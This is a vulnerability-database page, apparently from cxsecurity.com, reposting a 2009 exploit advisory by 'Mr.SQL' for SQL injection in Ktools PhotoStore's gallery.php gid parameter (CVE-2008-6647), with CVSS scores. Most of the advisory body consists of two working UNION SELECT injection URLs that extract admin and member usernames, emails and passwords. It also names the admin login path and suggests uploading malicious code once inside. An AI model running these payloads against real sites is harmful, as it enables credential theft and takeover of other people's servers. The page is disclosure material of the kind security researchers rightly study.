Bug: Ktools PhotoStore <= 3.5.1 (gallery.php gid) SQL Injection Vulnerability ( Ascii Version )

Search:
WLB2

Ktools PhotoStore <= 3.5.1 (gallery.php gid) SQL Injection Vulnerability

Published
Credit
Risk
2009.04.09
Mr.SQL
High
CWE
CVE
Local
Remote
CWE-89
CVE-2008-6647
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

#########################################
# Remote SQL Injection Vulnerability #
# #
# PhotoStore 3.4.3 ( gallery.php gid ) #
# #
#########################################
## Script NAME : PhotoStore
## VERSION : 3.4.3
## DOWNLOAD : http://www.ktools.net/
#########################################
## AuTh0r : Mr.SQL
## H0ME : WwW.PaL-HaCkEr.CoM
## Email : SQL@Hotmail.it
#########################################
## D0rk :: n/a ;)
################################################################################

## ExPlo!t For ADMIN INFO :
===>
http://www.exampel.com/gallery.php?gid=-9696'+UnIoN+SelecT+1,concat(username,0x3c7c7c204d722e53514c207c7c3e,password),3,
4,5,6,7,8,9,10,1,12,13+from+mgr_users/*

#############

## Explo!T For Users INFO :
===>
http://www.exampel.com/gallery.php?gid=-9696'+union+select+1,concat(email,'::Mr.SQL::',password),3,4,5,6,7,8,9,10,1,12,1
3+from+members/*

###################################################################################

===>> Admin P@nel
/manager/login.php

### N0TE ## YOU Can UploaD Your Ev!l Code ADMIN CP
#############
<< Gr33Tz >>
Dark MaSTer :: HaCkEr-EGy :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: SecuritY FearS :: (( MuslimS HaCkErS ))
#####################################################

(( Geek InjEcT0r ))

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version